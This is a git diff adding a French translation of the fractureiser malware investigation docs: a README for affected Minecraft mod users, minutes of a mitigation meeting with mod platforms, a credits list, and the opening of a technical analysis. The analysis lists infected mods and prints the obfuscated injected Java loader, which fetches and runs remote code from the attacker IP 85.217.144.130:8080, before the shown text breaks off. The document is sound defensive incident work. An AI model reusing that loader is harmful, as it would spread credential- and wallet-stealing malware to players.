diff --git a/.gitignore b/.gitignore index d76783a..7288f46 100644 --- a/.gitignore +++ b/.gitignore @@ -1,5 +1,10 @@ # Exclude obsidian config .obsidian/ +.vscode/ + +# Exclude WebStorm config + +.idea # Remove OS-specific stuff .trash/ diff --git a/lang/fr-FR/README.md b/lang/fr-FR/README.md new file mode 100644 index 0000000..3ccc99d --- /dev/null +++ b/lang/fr-FR/README.md @@ -0,0 +1,50 @@ +

+ fractureiser logo +

+ +*Excusez-nous pour le rangement, la documentation est toujours en cours* +> (*Note de traduction: les informations relevant du jargon technique sont potentiellement faussées, merci de me corriger si tel est le cas*) + +## Quoi ? +`fractureiser` est un [virus](https://fr.wikipedia.org/wiki/Virus_informatique) trouvé dans plusieurs projets Minecraft publiés sur les sites CurseForge et BukkitDev. Le malware est inclus dans de multiples mods, certains faisant partis de modpacks très populaires. Le malware semble n'attaquer que Windows et Linux. + +Si aucune vérification n'est faite, fractureiser peut être **EXTRÊMEMENT DANGEREUX** pour votre ordinateur. Merci de lire ce document et d'y trouver les informations pour que vous restiez protégé. + +Nous avons nommé ce logiciel fractureiser par rapport au nom du compte CurseForge qui a publié les fichiers malveillants les plus importants. + +## Ce que vous devez savoir + +### [Joueurs modés, CLIQUEZ ICI](docs/users.md) + +Si vous êtes simplement un joueur avec mods et non un développeur, le lien ci-dessus est tout ce dont vous avez besoin. Il contient des informations succinctes sur les effets du logiciel, les étapes à suivre pour vérifier si vous l'avez et comment le supprimer ainsi qu'une FAQ. + +Ceux souhaitant s'intéresser en profondeur peuvent avoir accès à +* [Chronologie des événements](/docs/timeline.md) +* [Étude technique](/docs/tech.md) + +### Je n'ai jamais utilisé de mods Minecraft +Vous n'êtes pas infecté. + +## Status actuel de l'investigation +Nous avons une idée assez claire de comment fractureiser fonctionne, des étapes 0 à 3. Il y a certaines parties +encore floues, mais les serveurs utilisés par l'attaqueur sont hors ligne et, à notre connaissance, de nouvelles infections sont impossibles. D'anciennes peuvent encore être actives. + +Nous travaillons en ce moment pour améliorer les informations dédiées aux utilisateurs. + +## Réunion de suivi +Le 08/06/2023, la fractureiser Mitigation Team a tenu une réunion avec des acteurs actifs de la communauté pour discuter de mesures préventives et solutions pour les futurs problèmes de cette ampleur. +Reportez-vous à [cette page](docs/2023-06-08-meeting.md) pour l'ordre du jour et le résumé de la réunion + +## Informations additionnelles + +Si vous avez des fichiers révélateurs sur ce malware, publié les sur https://wormhole.app et envoyez par mail l'URL à fractureiser@unascribed.com — tout ce qui y sera envoyé sera partagé avec le reste de l'équipe. Si vous avez besoin prendre contact, envoyez un mail à jaskarth4@gmail.com. + +Si vous copiez des portions de ce document quelque part, *s'il vous plait* mettez un lien renvoyant vers ce [répertoire GitHub](https://github.com/fractureiser-investigation/fractureiser) prêt du début pour que tous puissent avoir les dernières mises à jour et entrer en contact avec l'équipe. + +Le **seul** salon public officiel que vous pouvez rejoindre sans y être invité personnellement qui est *géré par la même équipe qui a écrit ce résumé* est [#cfmalware sur le serveur IRC EsperNet](https://webchat.esper.net/?channels=cfmalware). **Rejoindre un salon IRC exposera votre adresse IP.** + +Ne demandez pas d'échantillons. Si vous avez de l'expérience et des références, c'est très bien, mais nous n'avons aucun moyen de les vérifier sans utiliser une grande partie du temps limité de notre équipe. Le partage d'échantillons de logiciels malveillants est dangereux, même entre personnes qui savent ce qu'elles font. + +--- + +\- La [fractureiser Mitigation Team](/docs/credits.md) diff --git a/lang/fr-FR/docs/2023-06-08-meeting.md b/lang/fr-FR/docs/2023-06-08-meeting.md new file mode 100644 index 0000000..e472413 --- /dev/null +++ b/lang/fr-FR/docs/2023-06-08-meeting.md @@ -0,0 +1,299 @@ +# Réunion de Fractureiser Mitigation, le 08/06/2023 + +> (*Note de traduction: les informations relevant du jargon technique sont potentiellement faussées, merci de me corriger si tel est le cas*) + +Ordre du jour et compte rendu de la réunion du 80/06/2023 sur ce qui peut arriver et comment l'éviter + +Dans l'intérêt de garder cette réunion productive, nous avons invités un petit groupe de membres de la communauté, principalement des personnes travaillant sur les répertoires de mods, et les personnes qui ont aidé à organiser la réponse à l'incident. + +## Enregistrement + +La réunion a été enregistrée et éditée pour inclure les identifiants des intervenants. Vous pouvez regarder l'enregistrement sur [YouTube](https://www.youtube.com/watch?v=L52Hu334Q90) ou [PeerTube](https://tube.sleeping.town/w/c48e7df1-cf9b-43d2-84a8-4bce404ee836) (en anglais). + +## Quand + +08/06/2023 16h00 UTC + +## Invités + +Organisateurs de la réunion : + +- Emi (premier intervenant, organisateur) +- Jasmine (organisateur) + +Secrétaire de la réunion : + +- williewillus (journaliste de l'incident ; Violet Moon) + +Membres de la communauté (par ordre alphabétique): + +- Adrian (Modrinth) +- cpw (Forge) +- Doctor Oyster (Chef de l'Équipe gérant la Communauté Overwolf) +- Emma (Modrinth) +- Fury (CEO d'Overwolf) +- gdude (Quilt) +- Geometrically (Modrinth) +- IMS (CaffeineMC) +- Jared (BlameJared Maven) +- kennytv (PaperMC) +- Mikey (FTB) +- modmuss (Fabric) +- Slowpoke (FTB) +- Starchild (Quilt) +- timoreo (Prism Launcher) +- ZekeZ (Prism Launcher) + +## Sommaire de l'Incident et Réponse + +(Cette partie sert majoritairement pour les participants ayant besoin de se mettre à jour - elle n'a pas besoin d'être lu à voix haute) + +`fractureiser` est un nouveau virus auto répliquant qui a infecté des plugins Bukkit, des mods Forge, Fabric et les fichiers JARs de Minecraft. Les JARs Infectés, dès leur lancement, vont s’exécuter normalement, mais télécharger une série de "payloads" volant les jetons de connections, mots de passe/moyens de payement sauvegardés dans les navigateurs, et des cryptomonnaies. Après qu'un ordinateur ai été infecté, tous les fichiers JAR sur l'appareil sont injectés d'une telle manière que s'ils sont partagés et lancés sur un autre ordinateur, l'infection s'étendra. Des comptes CurseForge compromis ont été utilisé pour gagner l'accès à des projets de mods connus et distribuer des JARs infectés aux utilisateurs. + +Des discussions et réponses à ce problème ont commencé tôt le 6 juin. Des échantillons ont été découverts, identifiés et décompilés. La source des "payloads" qui propagent le virus et volent les mots de passe/jetons a été identifié et rapidement supprimé par son hôte, Serverion. Les JARs infectés ne peuvent plus progresser ou propager le virus, mais les infections avant que le nœud soit supprimé peuvent toujours être actives. + +Au moment de l'écriture, des échantillons continuent d'être décompilé dans l'espoir que si les attaquants tentent de créer une nouvelle itération du virus, ses nœuds de commandes et contrôles puissent être supprimé aussi rapidement que possible. Le 7 juin, l'attaquant a tenté de créer un nouveau nœud, qui a été rapidement supprimé par son hôte. Une URL web pointant vers ce nœud maintenant défunt a été trouvé, et est activement surveillé. + +## Ordre du jour + +Nous avons environ une heure, donc nous allons passer 15 minutes sur chaque sujet maximum. J'ai organisé les sujets selon la probabilité qu'une action soit réalisable d'après moi (williewillus). Plus quelque chose est réalisable, plus il est bas. Si le temps nous contraint, nous pourrons abandonner ces sujets. + +### Système de Vérification Opaque / Sécurité par l'Ignorance + +#### Sujets et Actions à aborder + +- Que *fait* CurseForge/Modrinth quand il vérifie un mod ? + - Insérer le meme "what do you do here" :) +- Quelles vérifications automatiques *sont* effectuées ? + - ? +- Quelles vérifications automatiques *devraient* être effectuées ? + - Analyse statique ? + - Pouvons-nous demander aux répertoires de mods de respecter ces plans d'action ? +- À moitié hors contexte : Peut-on avoir un algorithme de hachage autre que MD5 sur CF, s'il vous plait ? Cela fait plusieurs années que MD5 est cassé, ne rien faire nous fait juste attendre pour une attaque par collision + - Qu'est-ce qu'utilise Modrinth ? + +Résumé :\ +*Note de traduction : dû à la traduction, les mots peuvent ne pas être une traduction exacte des pensées de la personne, nous avons fait de notre mieux* + +Fury : CEO d'Overwolf. Eng travaille sur les mesures d'atténuations, donc je suis là. + Concernant les contrôles, d'un point de vue élevé, nous ne pouvons pas être entièrement transparent car des personnes pourraient trouver des moyens de les éviter. Je comprends que l’ambiguïté est difficile, je vais partager le maximum possible. + Tous les mods sont vérifiés automatiquement. Des vérifications manuelles sont effectués sur certains. + Techniquement, on commence par exécuter des analyses antivirus/antimalware. On vérifie la structure du fichier. + L'API supporte actuellement SHA-1. + Plus d'améliorations côté client pour mettre en œuvre ce principe d'une manière positive. + Des vérifications manuelles sont effectués quand une vérification automatique trouve quelque chose, un humain vérifie le mod. + Le processus évolue continuellement, les tests automatiques ont été mis à jour pour vérifier cette vulnérabilité. + +Emi : Passons à Modrinth pour garder tout cela rapide + +Geo/Jay : Créateur de Modrinth. Notre modération est assez fiable. + Nouveau projet : Vérification manuelle. Vérification de la description, des images. Vérification du code source aussi, surtout pour les nouveaux auteurs/auteurs inconnus. + Dans le cas d'un mod dont le code source n'est pas public, on décompile occasionnellement les mods, mais très peu souvent. + Vérification en backend pour la structure du fichier. + Les virus dans des mods Minecraft ne sont quasiment jamais détectés par les antivirus. + Nous savons que ce processus n'est pas parfait. Après la vérification initiale, nous comptons sur les rapports pour les mises à jour. + S'appuie sur la confiance de la communauté (auteur connu), mais cette confiance est aussi imparfaite. + +Emi : Quand vous vérifiez les mods ayant leur code source public, vérifiez-vous que les sources correspondent au fichier ? + +Geo : Non, mais nous pourrions faire quelque chose où les utilisateurs fournissent leur code source pour un badge "vérifié", comme ce que fait npm depuis peu. Ce n'est peut-être pas le plus idéal. + +Emi : Quel hash est utilisé par Modrinth ? + +Geo : Nous utilisons SHA-1/SHA-512, disponible dans l'API. Le launcher que nous faisons les valide. Nous avons rehashé tous les fichiers en SHA-512 il y a un an. + + + +### Compilations reproduisibles + +Une chose qui pourrait aider dans la partie "scan pour mods modifiés" de la réponse, serait si nous savions si une version spécifique d'un mod ne peut avoir qu'un seul fichier compilé possible. Il s'agit de compilation reproduisible avec le code source. Nous pourrions simplement recompiler le mod en question depuis les sources, prendre son hash, et le comparer au fichier suspicieux pour détecter les infections de l'Étape 0, plutôt que de devoir faire l'exercice difficile qu'est scanner pour une signature dans le code. + +Combien de mods ont des plugins dans leurs scripts de compilations avec des dépendances en `-SNAPSHOT` ? + +Je suis prêt à parier que tous, car les examples de [Fabric](https://github.com/FabricMC/fabric-example-mod/blob/1.20/build.gradle#L2) et +[Forge](https://github.com/MinecraftForge/MinecraftForge/blob/1.19.x/mdk/build.gradle#L4) +font exactement ça. + +Dans un premier lien, les plugins Gradle tel que Loom et ForgeGradle faisaient ça pour pouvoir publier des fixs et les appliquer rapidement sans action de l'utilisateur, mais il devient important que nous puissions avoir un contrôle certain. + +Les attaques de la chaîne via des répertoires Mavens hackés est un vrai danger. + +#### Sujets et Actions à aborder + +- Ne plus utiliser `-SNAPSHOT` dans les examples et les documentations en faveur de versions fixes +- Mettre à jour le fabric-example-mod et l'exemple du MDK de Forge pour utiliser la vérification et/ou le bloquage du hachage de Gradle + - https://docs.gradle.org/current/userguide/dependency_verification.html + - C'est juste une approche basique où on écrit les hashes dans un fichier et on vérifie s'il s'agit du bon hash + - https://docs.gradle.org/current/userguide/dependency_locking.html + - C'est une restriction pour obliger à utiliser une version spécifique à moins qu'on dise de mettre à jour et non une plage de version telle que `[1, 2)` +- Mettre en place un groupe de travail dans Loom/FG pour étudier les compilations reproductibles lorsque le flag gradle est activé. Il peut y avoir du nondéterminisme introduit par des parties de la chaîne d'outils de modding comme les remappeurs de jar. Chaque cas doit être résolu de manière à ce qu'un mod se construise de manière reproductible dès sa sortie. +- Idée folle : Comme F-Droid, soumettre les sources et les faire compiler par le repo ? + - La capacité étant coûteuse, il est peu probable que cela se produise. + +Starchild: Pour Quilt, l'un des problèmes est la signature. Nous ne pouvons pas reproduire une signature. + +willie: Mais si la signature est distribuée séparément, tout devrait bien se passer ? + +Geo: Nous ne pouvons jamais être sûrs à 100 %. Nous pouvons passer beaucoup de temps à examiner chaque fichier. Une chose importante est l'accessibilité. Beaucoup de gens ne savent pas comment fonctionne Gradle et ce que sont les compilations reproductibles. Il existe des modèles de modélisation, mais même la signature de code est difficile pour les développeurs mobiles. Nous recevons des milliers de soumissions par jour. + +Fury: Nous suggérons aux auteurs qui choisissent de se soumettre à des vérifications supplémentaires d'apposer une étiquette sur leur mod pour que les joueurs puissent le voir afin d'accroître la confiance. + +### Mods téléchargeants des fichiers externes + +Les mods téléchargeants des fichiers externes contenant du code executable sont vulnérables a des attaques par chaîne d'approvisionnement. + +Quelques exemples de mods utilisant cette méthode. + +- [Essential](https://modrinth.com/mod/essential) + - Les mods se mettant a jours automatiquement sans en informer l'utilisateur. Si les serveurs d'update d'Essential sont compromis, le code malveillant serait téléchargé au lancement du jeux. +- Les dépendeances de mods pour [owolib](https://modrinth.com/mod/owo-lib), tels que [gadget](https://modrinth.com/mod/gadget) + - Vas demander a l'utilisateur de télécharger owo-lib, cela téléchargera le fichier jar de modrinth. Si un fichier malveillant est ajouté a modrinth avec la bonne version, on se retrouve a nouveau face a une attaque par chaîne d'aprovisionnement. + +Si un mod populaire, tel qu'Essential, venais a être compromis, cela permetrait a des malwares de se propager rapidement a des millions d'utilisateurs. + +#### Sujets a aborder + +- Les mods sur les plateformes (modrinth, curseforge, etc.) peuvent-ils télécharger des fichiers contenant du code executable provenant de sources externes ? + - Je pense que non, mais comment l'empêcher? Lancer le jeux avec le mod et vérifier s'il ne télécharge rien de nouveau dans le dossier mods ? + +Fury: Effectuer une vérification manuelle quand on apercoit ce pattern. + +Willie: Mais il est possible d'ajouter du code malicieux plus tard. + +Fury: Regarder la réputation de l'auteur et quelques autres atributs de sécuritée. + +Starchild: Pas vraiment pour le bannisement de téléchargement de fichiers depuis l'internet. Quelques cas ou l'utilisation serait légitime. On pourais indiquer sur la plateforme que le mod télécharge des fichiers externes. On peut avoir des politiques d'utilisations tel que 'doit forcément passer par du https', etc. + +Willie: Clarification: Je parlais de téléchrager du code, et non pas des données. + +Lambda: TODO(j'ai manqué la première partie) Quilt a une proposition pour les téléchargements de dépendances. Plus généralement seulement permettre des téléchargements pré-déclarés (ex : avec un hash). Bien que nous permetions a des mods de le faire, cela restera toutefois suspicieux. + +### Signature du code + +Les artéfactes binaires déposés sur les répertoires de mods devraient être signés par leur auteur. + +Des templates et des documents d'aide par exemple Fabrix Loom et ForgeGradle devraient rendre leurs experience utilisateur aussi facile que possible. + +- Créer les releases en CI +- Signer les fichiers jars en CI au moment du build +- Télécharger les jars signés sur les repos en CI + +Déplacer les releases en CI est déja plus que ce que font la plupart des modeurs (la plupart ne tag même pas leurs releases). Gardez en tête que la plupart des modeurs sont des programeurs amateurs n'ayant pas travaillé en industrie et ne connaisant rien a tout cela. + +Je ne peut pas a quel point il est important que tout soit bien documenté, facile, et prêt a l'emploit. Ou bien personne ne l'utilisera. + +Les répertoires devraient éventuellement néscésiter une signature pour chaque upload et rejeter chaque artéfacte non signé. Cela aura besoin d'une période d'adaptement, et requiert un matériel pédagogique de qualité. + +#### Sujets a aborder + +- Où les clés publiques doivent-elles être conservées et associées à leurs auteurs ? En d'autres termes, qu'est-ce qui empêche un hacker de remplacer une clé publique et le binaire signé en même temps ? + - Sur le compte d'utilisateur modrinth (derière une autentification a 2 facteurs)? + - Sans un compte d'organisation, cela pourait être génant dans le cas de mods déposés par plusieurs personnes ? + - Si modrinth est compromis, un hacker peut remplacer la clé publique et en umploader une nouvelle en même temps +- Signatures PGP ou le jarsigner de java ? + - PGP est le standard utilisé pour Maven Central. Mes impressions sont que personne n'utilise les choses spécifiques a java. La signature OpenSSH est aussi une option mais c'est plus récent et il n'y a pas d'écosystème établit. PGP est probablement le meilleur choix, malheureusement. Nous pouvont automatiser toutes les parties désastreuses du processus avec des helpers dans les plugins Gradle. +- Forge a un support pour les signatures depuis des années et il n'a pas été utilisé. Que pouvons-nous en apprendre ? +- Les lanceurs devraient probablement inclure des éléments d'interface utilisateur pour indiquer l'état de la vérification de la signature du mod. +- Suivit immédiat. + - Modrinth et CurseForge conçoivent le fonctionnement de l'association/stockage des clés publiques. + - les modloaders écrivent une documentation complète sur la facon de procéder : + 1. Créer des versions en CI en utilisant les tags git + 2. Signer et télécharger automatiquement des artéfacts a partir de CI + +Emi: Cela ne néscésite pas un procéssus complet + +Starchild : Que voulons nous prévenir, et ou ? Les répertoires des mods peuvent associer une clé avec l'utilisateur et la demander lors du dépot de fichiers, mais une vérification peut toujours se produire dans le modloader. + +Jasmine: J'ai récement déposé des fichiers sur Maven Central qui demande une signature du code. Le processus n'était pas particierement difficile grace aux buildscripts, la partie la plus compliquée a été de trouver la documentation. + +Emi: Un participant sans micro demande: Pourquoi signer le code ? La raison principale est surtout pour identifier. + +cpw: J'ai codé pour Forge, cela fait environ 10 ans. Il aurait pu détécter l'étape 0 et probablement l'étape 3 si la signature n'était pas dépouillée. probablement l'étape 3 si la signature n'avait pas été supprimée. Nous voulions que les gens le fassent. La plupart des gens de Forge utilisent les empreintes digitales, qui aparaissent dans les journeaux de débogage, etc. pour distribuer la confiance. Un moddeur peut dire que son *propre* jar est bon, mais pas l'utilisateur. Cela nécessite une autorité de confiance dans l'écosystème minecraft. La mise en place d'un tel système est complexe. Le seul acteur viable est Curseforge et modrinth, puisqu'ils suivent déja les choses que vous avez besoin de suivre. A propos de la signeature sur les répos, le faire coté client ? Il est trop tard pour faire cela. Si l'entièretée de l'écosystème etait signée, nous pourions revoir la question. + +Emi: Est-il possible d'avoir un CA controlé en colaboration? Ajouter 2 étapes semble un peut trop. + +cpw: Tu peut signer avec plusieurs CA a la fois, ce n'est donc pas nécessaire. + +furr: Nous pouvons regarder pour faire quelque chose + +cpw: Si vous vous engagez a faire cela, c'est génial :) + +Geo: IMO serait le meilleur su un tiers de confiance le fait. Différentes plateformes ont différentes politiques. Modrinth est intéréssé par ceci aussi mais il faut etre cautioneux. + +Emi: Serait tu près a travailler avec CurseForge pour déveloper un CA tiers ? + +Geo: Oui. Tout le monde devrait mettre leurs différent de coté s'il en est de la sécuritée, bien que Modrinth n'ai pas été afecté, il l'est indirectement depuis. + +cpw: Ca serait cool de voir les coses bouger après 10 ans + +### Bac a sable + +L'isolation du processus de minecraft est une autre stratégie de défense pouvant etre utilisée affin de limiter le rayon d'effet d'ataques provenant de code malicieux. + +En général, c'est un problème compliqué. + +Minecraft ne devrait avoir accès qu'a(u) : + +- Internet, pour s'autentifier, se conectr aux serveurs, etc. +- Dossier `.minecraft` et ce qui se trouve a l'interieur. + +La chose principale a bloquer est l'accès aux fichiers système. + +Sous Windows, il n'y a pas l'air d'avoir de moyens faciles de déployer un système d'isolation (autre que "Jouer a minecraft Bedrock"). Le plus proche serait [model](https://chromium.googlesource.com/chromium/src/+/master/docs/design/sandbox.md) de chromium, qui pourait réduire les modifications intrusives du jeux. + +Sur macOS, on *pourait* utiliser le système d'isolation `built in` d'Apple connu sous le nom de ["seatblet"](https://www.chromium.org/developers/design-documents/sandbox/osx-sandboxing-design/). c'est déja obligateoire sur l'apple store, mais pas pour les aplications externes comme Minecraft. Cependant il n'est pas possiblie de l'utiliser affin de restreindre l'accès en réseau de certains sites. +Ci dessous se trouve une image montrant les configuration des permitions pouvant être utilisées pour restreindre les accès. CEla pourait s'avérer etre assez pour limiter les malwares et des ataques. +![image](/docs/media/sandboxfile.png) + + +Sur linux, nous avons plusieurs options. la première étant SELinux/AppArmor. Ces frameworks ont la réputation d'être extrêmement difficiles a configurer et par conséquent, n'a pas été largement déployé. +Cependant, les politiques que nous recherchons sont plutot simples, il est donc probable que nous nous tournions ver ceci plus tard. + +Dans le jargon d' OpenBSD, tout ce que l'on veut est d' [`unveil(2)`](https://man.openbsd.org/unveil) a tout les chemins de l'instance a la racine, malheureusement cette interface n'est pas disponible sous Linux. + +Deuxième option, l'utilisation d'un système tel que Flatpak. + + +timoro: Le fait d'executer du code non vérifié est toujours dangereux, qu'importe l'isolement utilisé. L'isolement est toujours le dernier recour. Nous avons un Flatpack de Prism(launcher) qui est isolé et privé de beaucoup d'accès. Ca a empécher cette ataque spécifique. CMais ça peut etre difficile, ex. vous pouvez penser a restreindre l'accès au micro, mais, et si un mod rajoutant un chat vocal en a besoin ? On a besoin de restreindre l'accès mais de donner de la libertée aux modeurs. Linux a beaucoup de techniques, permetant de restreindre aproximativement tout et nimporte quoi. + +ZekeZ: Le principal problème est Windows et macOS, surtout Windows. + +Emi: Beaucoup de mods pouraient etre impactés, restreindre l'accès a des fichiers système peut poser problème pour des mods demandant une configuration globale indépendament de l'instance. + +ZekeZ: Quel etait le problème avec EMI ? + +Emi: Il existe une option utilisateur permettant de stocker des éléments dans ~/.minecraft au lieu de celui local à l'instance. + +--- + +Récapitulatif + +kennytv: Bonjour de la part de Paper. Nous avons notre propre repo pour les plugins. par contre nous serions intéressés par un scanner pour identifier les logiciels malveillants actuels. Il y en a beaucoup ces temps ci. Concernant la signature, Sponge l'avait également pendant un certain temps. Ils ont essentiellement abandonné cette fonctionnalité car les utilisateurs ne savaient pas comment l'utiliser. Il est très difficile de faire comprendre aux novices son fonctionnement + +Lambda: Nous aimerions voir du mod hosting pour ajouter plus d'A2F Ou seulement permettre aux API/CI de déposer des fichiers. ca peut être un peut contraignant mais ça permetrait d'eviter de se faire f=voler ses tokens. Actuelement, neous ne savont pas si Modrinth a une A2F. CurseForge en a mais seulement pour les payements. Nous voudriont voir ceci s'étendre plus loins. + +Geo: Nous travaillions sur un système d'A2F avant que tout cela ne commence. Cela permettra également l'utilisation de jetons ciblés (ex: des bulds non signés uniquement a partir du jeton, des builds signés uniquement a partir de ce jeuton). l'A2F présente une faille, a savoir que le token de session est toujours vulnérable. Nous prévoyons de lancer de nouvelles fonctionalités d'autentification dans quelques semaines. + +Emi: Pour rappel, les contributeurs de LPS (Luna Pixel Studios) avaient l'A2F d'activé. + +willie: J4apuie les points sur les builds, les signatures, les realeases **En CI** + +Geo: Une chose que les plateformes font est une checkliste générale lorsque un projet est upload pour la première fois. Sur Modrinth nous avons un guide pour litéralement tout. Quand nous avons ajouté des descriptions et des icones aux nouvelles checklists, la quantitée dde checklist a fait un bond. + +Emi: Publication CI récemment mise en place. J'ai simplement copié un autre fichier de flux de travail Github. Ce n'est pas maintenable. + +Lambda: Nous devont héberger le Maven BlammeJared avec de nombreux projets. Il faut encourager les gens a utiliser l'intégration continue autant que possible. Le kit de dévelopement par défaut ne publie que l'artéfact, pas de source. Nous avons besoin de plus d'exemples et de guides pour configurer Jenkins etc. + +willie: les actions GH sont plus faciles pour les débutants non ? + +Jared: Je ne suis pas familier avec les actions GH en ce moment. Tout les fichiers sur mon maven sont compilés locallement, je ne sais pas comment du remote publishing marcherais. + +Emi: POur beaucoup de mods, Maven n'est pas strictement néscésaire. Il est possible d'utiliser CurseMaven ou le maven de Modrinth. C'est pratique pour les mods qui ne s'exposent pas intentionelement en tant qu'API. + +willie: La plupart des mods sont des mods 'feuille' qui n'ont pas besoin de Maven + +Jared: CurseMaven n'est pas une option sur le long terme. Personne ne l'a remarqué mais CurseGradle a été retiré de Github. sa source a disparue. Personne ne l'a vu ou n'en a parlé. + +willie: c'est un résumé des actions à entreprendre globalement. + +Furry: Merci a tous. Overwolf s'est dévelopé avec les années. Certains d'entre vous nous ont contactés et nous ont donné des informations importantes. Si vous avez d'autres informations, n'hésitez pas a nous contacter, cela aiderais beaucoup. diff --git a/lang/fr-FR/docs/credits.md b/lang/fr-FR/docs/credits.md new file mode 100644 index 0000000..3362acf --- /dev/null +++ b/lang/fr-FR/docs/credits.md @@ -0,0 +1,15 @@ +## Crédits +Liste non exhaustive! Merci a tout le monde qui est passé aider. + +[**Emi**](https://github.com/emilyploszaj/): Coordination, découverte initiale (pour cette équipe), recherches au début, Organisation du meeting +[**Jasmine**](https://github.com/jaskarth/): Coordination, recherche, a écrit le décompileur que nous avont utilisé ([Quiltflower](https://github.com/QuiltMC/quiltflower/)) +[**unascribed**](https://github.com/unascribed/): Coordination de la documentation, controle de la foule, logo +[**williewillus**](https://github.com/williewillus/): Coordination, journaliste +[**Vazkii**](https://github.com/vazkii/): Documentation, communications +[**Col-E**](https://github.com/Col-E/): Reverse engineering, écriture du déobfuscateur que nous avons utilisé ([Recaf](https://www.coley.software/Recaf/)) +[**quat**](https://github.com/quat1024/): Documentation, recherche sur les échantillions infectés initiaux +[**cortex**](https://github.com/mcrcortex/): Reverse engineering +[**aurelium**](https://github.com/autumnaurelium/): Coordination, déobfuscation +[**D3SL**](https://github.com/D3SL/): Extensive reverse engineering, découverte précoce +[**Luna Pixel Studios**](https://lunapixelstudios.github.io/): Détection rapide de dépots non autorisés. +**Nia**: reverse engineering de l'étape 3 diff --git a/lang/fr-FR/docs/tech.md b/lang/fr-FR/docs/tech.md new file mode 100644 index 0000000..4046802 --- /dev/null +++ b/lang/fr-FR/docs/tech.md @@ -0,0 +1,368 @@ +# Informations techniques +> (*Note de traduction: les informations relevant du jargon technique sont potentiellement faussées, merci de me corriger si tel est le cas*) +## Distribution + +Certains modpacks ont recu des mises a jours sans que l'auteur ne soit au courant, ajoutant une dépendence sur des mods malveillants. Ces mises a jours ont été archivés imédiatement après l'upload, ce qui signifie *qu'ils n'aparaissent pas sur l'interface Web, seulement sur L'API.* + +Les Mods malveillants ont été upload il y a plusieures semaines. La plupart ont été uploadé +par un seul compte en utilisant des noms clairement autogénérés, ils sont surement le point de départ de l'infection. +Luna Pixel Studio a été compromis en raison d'un dévelopeur testant un de ces mods, comme c'etait un umpload +interessant. + +### Mods et plugins affectés recensés. + +Note: Cette liste est non exaustive. Elle a été construite durant les premiers jours de l'investigation et nous avons +vite réalisé que la taille de l'infection etait plus grande que ce que nous pensions, rendant la traque individuelle +inutille. Cette list reste ici pour des raisons historiques. + +Voir aussi la +[liste](https://support.curseforge.com/en/support/solutions/articles/9000228509-june-2023-infected-mods-detection-tool/) +des projets affectés publié par Curseforge. + +|mod/plugin|lien(s)|SHA1|"Uploader"| +|---|---|---|---| +|Skyblock Core|[www.curseforge.com/minecraft/mc-mods/skyblock-core/files/4570565](https://www.curseforge.com/minecraft/mc-mods/skyblock-core/files/4570565) |`33677CA0E4C565B1F34BAA74A79C09A3B690BF41`|Luna Pixel Studios| +|Dungeonz|[legacy.curseforge.com/minecraft/mc-mods/dungeonx/files/4551100 (removed)](https://legacy.curseforge.com/minecraft/mc-mods/dungeonx/files/4551100) |`2DB855A7F40C015F8C9CA7CBAB69E1F1AAFA210B`|fractureiser| +|Haven Elytra|[dev.bukkit.org/projects/havenelytra/files/4551105 (removed)](https://dev.bukkit.org/projects/havenelytra/files/4551105) [legacy.curseforge.com/minecraft/bukkit-plugins/havenelytra/files/4551105 (removed)](https://legacy.curseforge.com/minecraft/bukkit-plugins/havenelytra/files/4551105) |`284A4449E58868036B2BAFDFB5A210FD0480EF4A`|fractureiser| +|Vault Integrations|[www.curseforge.com/minecraft/mc-mods/vault-integrations-bug-fix/files/4557590 (removed)](https://www.curseforge.com/minecraft/mc-mods/vault-integrations-bug-fix/files/4557590)|`0C6576BDC6D1B92D581C18F3A150905AD97FA080`|simpleharvesting82| +|AutoBroadcast|[www.curseforge.com/minecraft/mc-mods/autobroadcast/files/4567257 (removed)](https://www.curseforge.com/minecraft/mc-mods/autobroadcast/files/4567257)|`C55C3E9D6A4355F36B0710AB189D5131A290DF26`|shyandlostboy81| +|Museum Curator Advanced|[www.curseforge.com/minecraft/mc-mods/museum-curator-advanced/files/4553353 (removed)](https://www.curseforge.com/minecraft/mc-mods/museum-curator-advanced/files/4553353)|`32536577D5BB074ABD493AD98DC12CCC86F30172`|racefd16| +|Vault Integrations Bug fix|[www.curseforge.com/minecraft/mc-mods/vault-integrations-bug-fix/files/4557590 (removed)](https://www.curseforge.com/minecraft/mc-mods/vault-integrations-bug-fix/files/4557590)|`0C6576BDC6D1B92D581C18F3A150905AD97FA080`|simplyharvesting82 +|Floating Damage|[dev.bukkit.org/projects/floating-damage (removed)](https://dev.bukkit.org/projects/floating-damage)|`1d1aaccdc13244e980c0c024610ecc77ea2674a33a52129edf1bb4ce3b2cc2fc`|mamavergas3001 +|Display Entity Editor|[www.curseforge.com/minecraft/bukkit-plugins/display-entity-editor/files/4570122 (removed)](https://www.curseforge.com/minecraft/bukkit-plugins/display-entity-editor/files/4570122)|`A4B6385D1140C111549D95EAB25CB51922EEFBA2`|santa_faust_2120 + +Darkhax a envoyé ceci: https://gist.github.com/Darkhax/d7f6d1b5bfb51c3c74d3bd1609cab51f + +potentiellement plus: Sophisticated Core, Dramatic Doors, Moonlight lib, Union lib + +## Étape 0 (jar infectés) + +Les mods ou plugins affectés ont une nouvelle méthode `static void` inséré dans leur classe principale, ainsi qu'un appel vers cette méthode inséré dans l'initialiseur de la class. Pour DungeonZ, la méthode s'appelle `_d1385bd3c36f464882460aa4f0484c53` et se trouve dans `net.dungeonz.Dungeonmain`. Pour skyblock Core, la méthode s'appelle `_f7dba6a3a72049a78a308a774a847180` et se trouve dans `com.bmc.coremod.BMCSkyblockcore`. Pour HavenElytra, le code est inséré directement dans l'initialiseur de `valorless.havenelytra.HavenElytra`. + +Le code est obfusqué, utilisant `new string(new byte[]{...})` au lieu de str litéraux. + +Dans l'échantillon de D3SL "Create Infernal Expansion Plus", une version plagiant "Create Infernat Expansion Compat" avec un malware inséré dans la classe principale: +```java +static void _1685f49242dd46ef9c553d8af1a4e0bb() { + Class.forName(new String(new byte[] { + // "Utility" + 85, 116, 105, 108, 105, 116, 121 + }), true, (ClassLoader) Class.forName(new String(new byte[] { + // "java.net.URLClassLoader" + 106, 97, 118, 97, 46, 110, 101, 116, 46, 85, 82, 76, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114 + })).getConstructor(URL[].class).newInstance(new URL[] { + new URL(new String(new byte[] { + // "http" + 104, 116, 116, 112 + }), new String(new byte[] { + // "85.217.144.130" + 56, 53, 46, 50, 49, 55, 46, 49, 52, 52, 46, 49, 51, 48 + }), 8080, new String(new byte[] { + // "/dl" + 47, 100, 108 + })) + })).getMethod(new String(new byte[] { + // "run" + 114, 117, 110 + }), 